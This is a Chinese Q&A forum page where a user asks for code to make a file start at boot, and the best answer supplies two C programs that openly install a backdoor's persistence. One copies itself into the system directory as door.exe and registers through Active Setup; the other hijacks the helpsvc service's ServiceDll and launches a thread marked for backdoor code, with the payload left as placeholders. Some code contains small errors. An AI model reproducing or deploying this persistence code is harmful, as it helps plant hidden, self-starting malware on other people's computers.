永发信息网

这个程序的代码是什么?

答案:1  悬赏:0  手机版
解决时间 2021-05-05 10:53

就是当打开这个文件时,就会让某指定文件成为开机启动文件.

我要的是代码........

最佳答案

---------------------active自启动


#include <stdio.h>
#include <windows.h>


//用于修改字符串类型键值
void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)
{
 HKEY hKey;
 //打开注册表键,不存在则创建它
 long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
    if (lRet!=ERROR_SUCCESS)
 {
  printf("error no RegCreateKeyEx %s\n", szSubKey);
  return ;
 }
 //修改注册表键值,没有则创建它
 lRet=RegSetValueEx(hKey,ValueName,0,REG_SZ,(BYTE*)Data,strlen(Data));
  if (lRet!=ERROR_SUCCESS)
  {
   printf("error no RegSetValueEx %s\n", ValueName);
   return ;
  }
 RegCloseKey(hKey);
}



int main(int argc, char* argv[])
{
 HKEY hKey;
    DWORD dwDpt=REG_OPENED_EXISTING_KEY;
 //打开HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{E92B03AB-A707-11d2-9CBD-0000F87A369H}
    long lRet=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{E92B03AB-A707-11d2-9CBD-0000F87A369H}",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,&hKey);
    //不存在则,父子自身文件到系统目录和,加载ActiveX启动
 if (lRet!=ERROR_SUCCESS)
 {
  char SelfFile[MAX_PATH];
  char SystemPath[512];
  //得到系统目录路径
  GetSystemDirectory(SystemPath,sizeof(SystemPath));
  strcat(SystemPath,"\\door.exe");
  //得到自身程序路径
  GetModuleFileName (NULL, SelfFile, MAX_PATH); 
  //复制文件
  CopyFile(SelfFile,SystemPath,true);
  //加载ActiveX启动,一个自定义修改注册表的函数,前面已经多次用到
  CreateStringReg(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{E92B03AB-A707-11d2-9CBD-0000F87A369H}","StubPath",SystemPath);
  return 0;
 }
 //否则删除HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{E92B03AB-A707-11d2-9CBD-0000F87A369H}
 RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{E92B03AB-A707-11d2-9CBD-0000F87A369H}");
 //.................后门代码


 return 0;
}


------------------------------------------svchost.exe启动


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>


SERVICE_STATUS    ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
DWORD WINAPI CmdService(LPVOID lpParam)
{
//...............后门代码
 return 0;
}


//服务控制函数
void WINAPI ServiceControl(DWORD dwCode)
{
    switch(dwCode)
    {
 //暂停服务
    case SERVICE_CONTROL_PAUSE:    ServiceStatus.dwCurrentState = SERVICE_PAUSED;    break;
 //继续执行服务
    case SERVICE_CONTROL_CONTINUE:    ServiceStatus.dwCurrentState = SERVICE_RUNNING;    break;
    //停止服务
    case SERVICE_CONTROL_STOP:        ServiceStatus.dwCurrentState  = SERVICE_STOPPED;    ServiceStatus.dwWin32ExitCode = 0;    ServiceStatus.dwCheckPoint    = 0;    ServiceStatus.dwWaitHint    = 0;
  //设置服务状态    if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)    {    OutputDebugString("SetServiceStatus Error !\n");    }    return ;
    case SERVICE_CONTROL_INTERROGATE:    break;
    default:    break;
    }
    if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
    {    OutputDebugString("SetServiceStatus  Error !\n");
    }
    return ;
}


//服务函数
void __stdcall ServiceMain(int argc, wchar_t* argv[] )
{
 HANDLE    hThread;
    ServiceStatus.dwServiceType    = SERVICE_WIN32;
    ServiceStatus.dwCurrentState    = SERVICE_START_PENDING;
    ServiceStatus.dwControlsAccepted    = SERVICE_ACCEPT_STOP    | SERVICE_ACCEPT_PAUSE_CONTINUE;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwWin32ExitCode    = 0;
    ServiceStatus.dwCheckPoint    = 0;
    ServiceStatus.dwWaitHint    = 0;
    //得到服务进程名
 char svcname[256];
    strncpy(svcname, (char*)argv[0], sizeof(svcname));
    wcstombs(svcname, argv[0], sizeof(svcname));
 //注册服务控制函数
    ServiceStatusHandle=RegisterServiceCtrlHandler(svcname,ServiceControl);
    if(ServiceStatusHandle==0)
    {    OutputDebugString("RegisterServiceCtrlHandler Error !\n");    return ;
    }
    ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    ServiceStatus.dwCheckPoint   = 0;
    ServiceStatus.dwWaitHint    = 0;
    //设置服务为运行状态
    if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
    {    OutputDebugString("SetServiceStatus Error !\n");    return ;
    }
    //启动后门线程
    hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
    if(hThread==NULL)
    {    OutputDebugString("CreateThread  Error !\n");
    }


    return ;
}
//修改字符串类型键值
void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)
{
 HKEY hKey;
 //打开注册表键,不存在则创建它
 long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
    if (lRet!=ERROR_SUCCESS)
 {
  printf("error no RegCreateKeyEx %s\n", szSubKey);
  return ;
 }
 //修改注册表键值,没有则创建它
 lRet=RegSetValueEx(hKey,ValueName,0,REG_EXPAND_SZ,(BYTE*)Data,strlen(Data));
  if (lRet!=ERROR_SUCCESS)
  {
   printf("error no RegSetValueEx %s\n", ValueName);
   return ;
  }
 RegCloseKey(hKey);
}


//用于修改数字类型键值
void CreateDWORDReg(HKEY hRoot,char *szSubKey,char* ValueName,DWORD Data)
{
 HKEY hKey;
 //打开注册表键,不存在则创建它
 long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
    if (lRet!=ERROR_SUCCESS)
 {
  printf("error no RegCreateKeyEx %s\n", szSubKey);
  return ;
 }
 DWORD dwSize=sizeof(DWORD);
 //修改注册表键值,没有则创建它
 lRet=RegSetValueEx(hKey,ValueName,0,REG_DWORd,(BYTE*)&Data,dwSize);
  if (lRet!=ERROR_SUCCESS)
  {
   printf("error no RegSetValueEx %s\n", ValueName);
   return ;
  }
 RegCloseKey(hKey);
}


//安装后门
int Install()
{
 char NewDll[512];
 //得到系统目录
 GetSystemDirectory(NewDll,sizeof(NewDll));
 strcat(NewDll,"\\autorun.dll");
 //替换dll
 CreateStringReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\helpsvc\\Parameters","ServiceDll",NewDll);
 //设置为自动启动
 CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\helpsvc","Start",2);
 return 0;
}


//卸载后门
int Remove()
{
 SC_HANDLE    schSCManager;
    SC_HANDLE    schService;
 SERVICE_STATUS NServiceStatus;
 //打开服务控制管理器数据库
 schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
 if(schSCManager==NULL)
 {
  OutputDebugString("OpenSCManager error \n");
  return 0;
 }
 //打开helpsvc服务
 schService=OpenService(schSCManager,"helpsvc",SERVICE_ALL_ACCESS);
 if(schService==NULL)
 {    OutputDebugString("OpenService error \n");
  return 0;
 }
 //查看服务运行状况
 QueryServiceStatus(schService,&NServiceStatus);
 //假如处于运行状态则,停止该服务
 if(NServiceStatus.dwCurrentState==SERVICE_RUNNING)
 {
  ControlService(schService,SERVICE_CONTROL_STOP,&NServiceStatus);
 }
 //还原ServiceDll键值
 char *OldDll="%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll";
 CreateStringReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\helpsvc\\Parameters","ServiceDll",OldDll);
 return 0;
}


BOOL APIENTRY DllMain( HANDLE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved    )
{
 switch (ul_reason_for_call)
    {
  //当动态链接库将要被卸载时,停止服务
    case DLL_PROCESS_DETACH:
  {
  ServiceControl(SERVICE_CONTROL_STOP);     break;
  }
 default:
  break;
 } 
    return TRUE;
}

我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
椭圆的焦点是唯一的吗
下赛季那一支球队最大希望夺总冠军?
如果那个男人你认为值得等,你会等么。但他不
关于数学绝对值和相反数的问题
昂达VX757 开机后一直再闪开机画面
学校发给我们建设银行的卡,要交学费一定要用
请问卡宾的服装怎么这么贵
诺基亚E66如何改桌面文字
请问明天和未来到底那个更重要.
昆明瑞勘经贸有限公司在哪里啊,我有事要去这
关于真诚赞美别人名言,寻找最真挚的爱情句子?
香山在什么地方
关于超级QQ高级版
这张图片什么意思
情歌两三首这首歌是什么意思啊???
推荐资讯
怎样写孩子的评价?
微信支付限额怎么修改,微信支付银行卡限额怎
农村信用社能够异地异卡汇款吗
12月5号,湖人对阵热火,半途小奥尼尔和奥多姆
快点让我睡睡吧!!! 严重失眠了 -。-
现在有钱了 该怎么用?
北京上市公司有哪些,湖北有哪些企业在香港上
仁宝电器商行在什么地方啊,我要过去处理事情
一天吃八个鸡蛋会怎么样......
毕业设计任务书是什么,毕业生任务书是什么
哪种无线网卡 网速快些 急
如何培养勤学好问敢于争先的班级
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?